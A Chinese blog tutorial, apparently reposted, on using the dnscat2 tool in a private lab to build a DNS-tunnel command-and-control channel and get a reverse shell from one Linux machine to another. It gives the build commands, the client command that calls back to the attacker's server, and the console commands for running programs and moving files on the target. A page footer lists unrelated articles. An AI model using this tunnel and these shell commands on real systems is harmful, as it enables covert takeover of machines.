阿一课代表今日分享之使用dnscat2 进行dns隧道反弹shell(直连模式linux对linux)

DNS介绍

DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。

AAAA记录:记录将域名解析到一个指定的ipv6的ip上

CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。

NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。

MX记录:指向的是一个邮件服务器。

TXT记录:一般是指某个主机名或域名的说明

PTR记录:反向DNS

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

本地客户端---->Local DNS server---->根域服务器

Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

Dnscat2工具介绍

Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来

环境搭建

攻击机/服务端

kali/2024

192.168.227.128

靶机/客户端

kali/2023

192.168.227.130

linux服务端搭建

git clone https://github.com/iagox86/dnscat2.git 下载dnscat2工具

cd dnscat2/server/ 进入server目录,因为我们这里是搭建服务端

gem install bundler
gem install bundler 是一个在 Ruby 环境中使用的命令,用于安装 Bundler 这个 gem(gem 是 Ruby 的包管理器)Bundler 是一个帮助管理 Ruby 项目依赖的工具,它可以确保你的项目在不同的环境中使用相同版本的 gems

apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的头文件和静态库,这对于编译和安装需要构建本地扩展的 Ruby gems 是必需的

bundle install
在 Ruby 项目中,当你看到 bundle install 命令时,它通常用于安装项目所需的依赖包。这个命令是 Bundler 这个 Ruby gem 的一部分,Bundler 是一个管理 Ruby 项目依赖的工具

linux客户端搭建

$ git clone https://github.com/iagox86/dnscat2 /*下载工具*/
$ cd dnscat2/client/                           /*进入目录*/
$ make                                         /*使用makefile来编译客户端*/

Dnscat2反弹shell

1.首先在服务端运行

ruby ./dnscat2.rb

红色方框中的这段复制到客户机上,记得把IP换成服务端IP:

这里就是192.168.227.128(kali2024的ip)

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

客户端操作

./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256

服务端反馈及操作

windows   列出所有隧道
当前建立好了一条隧道

window -i 1   连接客户端1通道 1表示隧道建立的窗口号

隧道内的操作命令

help可查看控制台支持的命令,常用的有:

quit (退出控制台)

kill (中断通道)

set(设值,比如设置security=open)

windows(列举出所有的通道)

window -i (连接某个通道)

连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

clear(清屏)

delay(修改远程会话超时时间)

exec(执行远程机上的程序)

shell(得到一个反弹shell)

download/upload(两端之间上传下载文件)

supend(返回到上一层,等于快捷键ctrl+z)

exit(退出dnscat2)

反弹shell

在当前隧道内输入shell就会创建一个会话回来
shell

ctrl+z返回到上一层      

然后我们需要进入这个会话
window -i 6

查看ip

总结

大致步骤就是:

进入服务端的目录下:安装Bundler 这个帮助管理 Ruby 项目依赖的工具-->安装Ruby 开发包-->安装Bundler 项目所需的依赖包

进入客户端的目录下:make(这个命令会尝试使用 Makefile(如果存在的话)来编译客户端。Makefile 是一个脚本,它告诉 make 命令如何编译和链接程序。)

启动服务端(ruby ./dnscat2.rb)将里面的连接代码去客户端运行(默认端口为53

隧道建立好以后help有一些后续操作,反弹shell直接输入shell就行了

ctrl+z返回到dnscat2界面输入windows查看所有通道,然后进入window -i id反弹回来的shell会话

然后就可以正常执行命令操作目标机器了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/44272.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目实战--Spring Boot + GraphQL实现实时数据推送

背景 用户体验不断提升而3对实时数据的需求日益增长,传统的数据获取方式无法满足实时数据的即时性和个性化需求。 GraphQL作为新兴的API查询语言,提供更加灵活、高效的数据获取方案。结合Spring Boot作为后端框架,利用GraphQL实现实时数据推…

GD32MCU如何实现掉电数据保存?

大家在GD32 MCU应用时,是否会碰到以下应用需求:希望在MCU掉电时保存一定的数据或标志,用以记录一些关键的数据。 以GD32E103为例,数据的存储介质可以选择内部Flash或者备份数据寄存器。 如下图所示,片内Flash具有10年…

详解C语言结构体

文章目录 1.结构体的声明1.1 结构体的基础知识1.2 结构的声明1.3 结构成员的类型 1.4结构体变量的定义和初始化2.结构体成员的访问3.结构体传参 1.结构体的声明 1.1 结构体的基础知识 结构是一些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量 …

【密码学】分组密码概述

一、分组密码的定义 分组密码和流密码都是对称密码体制。 流密码:是将明文视为连续的比特流,对每个比特或字节进行实时加密,而不将其分割成固定的块。流密码适用于加密实时数据流,如网络通信。分组密码:是将明文数据…

【React】Ant Design -- Table分页功能实现

实现步骤 为Table组件指定pagination属性来展示分页效果在分页切换事件中获取到筛选表单中选中的数据使用当前页数据修改params参数依赖引起接口重新调用获取最新数据 const pageChange (page) > {// 拿到当前页参数 修改params 引起接口更新setParams({...params,page})…

翰德恩咨询赋能材料行业上市公司,共筑IPD管理体系新篇章

赋能背景概览 坐落于江苏的某材料行业领军企业,作为国内无机陶瓷膜元件及成套设备领域的佼佼者,以其庞大的生产规模、丰富的产品系列及卓越的研发实力,屹立行业之巅二十余年。公司不仅在新材料研发、技术创新、工艺设计、设备制造及整体解决…

【VUE进阶】安装使用Element Plus组件

Element Plus组件 安装引入组件使用Layout 布局button按钮行内表单菜单 安装 包管理安装 # 选择一个你喜欢的包管理器# NPM $ npm install element-plus --save# Yarn $ yarn add element-plus# pnpm $ pnpm install element-plus浏览器直接引入 例如 <head><!-- I…

Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测

Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测 目录 Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现Transformer-LSTM时间序列预测&#xff0c;Transformer-LSTM&#xf…

浅谈“不要卷模型,要卷应用”

目录 1.概述 2.AI技术应用场景探索 3.避免超级应用陷阱的策略 3.1.追求DAU的弊端 3.2.平衡用户活跃度与应用实用性的策略 4.个性化智能体开发 4.1. 用户需求分析与数据收集 4.2. 技术选择与开发 4.3. 个性化算法设计 4.4. 安全性与隐私保护 4.5. 多渠道集成与响应机…

用vite创建Vue3项目的步骤和文件解释

创建项目的原则是不能出现中文和特殊字符&#xff0c;最好为小写字母&#xff0c;数字&#xff0c;下划线组成 之后在visual studio code 中打开创建的这个项目 src是源代码文件 vite和webpack是有去别的&#xff0c;对于这个vite创建的工程来说index.js是入口文件 在终端里面输…

数字探秘:用神经网络解密MNIST数据集中的数字!

用神经网络解密MNIST数据集中的数字&#xff01; 一. 介绍1.1 MNIST数据集简介1.2 MLP&#xff08;多层感知器&#xff09;模型介绍1.3 目标&#xff1a;使用MLP模型对MNIST数据集中的0-9数字进行分类 二.数据预处理2.1 数据集的获取与加载2.2 数据集的探索性分析&#xff08;E…

骗子用出国月薪3万骗了1000多万上千名求职者被骗

日前,江苏省南通市崇川区人民法院开庭审理了一起涉及诈骗的案件,该案件 审理后引发全国求职者的关注以及热议。根据了解得知,这起案件的主犯是利用出 国劳务的虚假高薪职位位诱饵,最终有上千名求职者被骗上当了。文章来源于&#xff1a;股城网www.gucheng.com 根据法院审…

微信文件太大传不了?学会这些,微信秒变大文件传输神器

在数字化时代&#xff0c;微信已成为我们日常沟通的重要桥梁。然而&#xff0c;当需要在微信上传输大文件时&#xff0c;文件大小的限制往往让人束手无策。 今天&#xff0c;我们将分享一些实用的技巧&#xff0c;帮助你在微信上轻松传输大文件&#xff0c;无论是工作文档还是…

HTTP 概况

Web的应用层协议是超文本传输协议(HyperTextTransferProtocol&#xff0c;HTTP)&#xff0c;它是 Web的核心。HTTP由两个程序实现:一个客户程序和一个服务器程序。客户程序和服务器程序运行在不同的端系统中&#xff0c;通过交换HTTP报文进行会话。HTTP定义了这些报文的结构以及…

彩虹小插画:成都亚恒丰创教育科技有限公司

彩虹小插画&#xff1a;色彩斑斓的梦幻世界 在繁忙的生活节奏中&#xff0c;总有一抹温柔的色彩能悄然触动心弦&#xff0c;那就是彩虹小插画带来的梦幻与宁静。彩虹&#xff0c;这一自然界的奇迹&#xff0c;被艺术家们巧妙地融入小巧精致的插画之中&#xff0c;不仅捕捉了瞬…

Oracle基础以及一些‘方言’(一)

1、什么是Oracle ORACLE数据库系统是美国ORACLE公司&#xff08;甲骨文&#xff09;提供的以分布式数据库为核心的一组软件产品&#xff0c;是最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。 ORACLE 通常应用于大型系统的数据库产品。 ORACLE 数据库是目前世界…

vue使用 “xlsx-style“: “^0.8.13“ 报错

关于jszip not a constructor报错配置config.js文件后可能还报错的问题&#xff1a; 在node_modules处找到node_modules\xlsx-style\xlsx.js 文件。 将 if(typeof jszip undefined) jszip require(./jszip).JSZip;(应该在xlsx.js文件1339行左右) 替换成 if(typeof jszip und…

高压线束屏蔽效能测试之管中管法、线注入法

一、引言 上期推文介绍了高压线束屏蔽效能测试方法三同轴法&#xff0c;本篇文章将继续介绍高压线束相关测试方法——管中管法和线注入法。 二、管中管法 1、一般要求 管中管法参照IEC62153-4-7标准对高低压连接器进行零部件级屏蔽效能测试。在测试时&#xff0c;通过金属延长管…

3、视图和模板

续上一篇&#xff0c;这一篇 着重于创建公共接口——“视图” 第三部分——3、视图和模板 1、概述2、编写更多视图原理——django依次访问了什么文件 3、写一个真正有用的视图一个快捷函数 render() render——渲染 4、抛出404错误一个快捷函数 get_object_or_404() 5、使用模…

实时数仓和离线数仓的区别是什么,企业该如何选择合适的数仓架构?

目录 一、离线数仓 1. 离线数仓是什么&#xff1f; 2. 离线数仓的特点 3. 离线数仓的适用场景 二、实时数仓 1. 实时数仓是什么&#xff1f; 2. 实时数仓的特点 3. 实时数仓的适用场景 三、由数仓需求变化带来的数据仓库架构的演变 1. 传统数仓架构 2. 离线大数据架构 3. Lambd…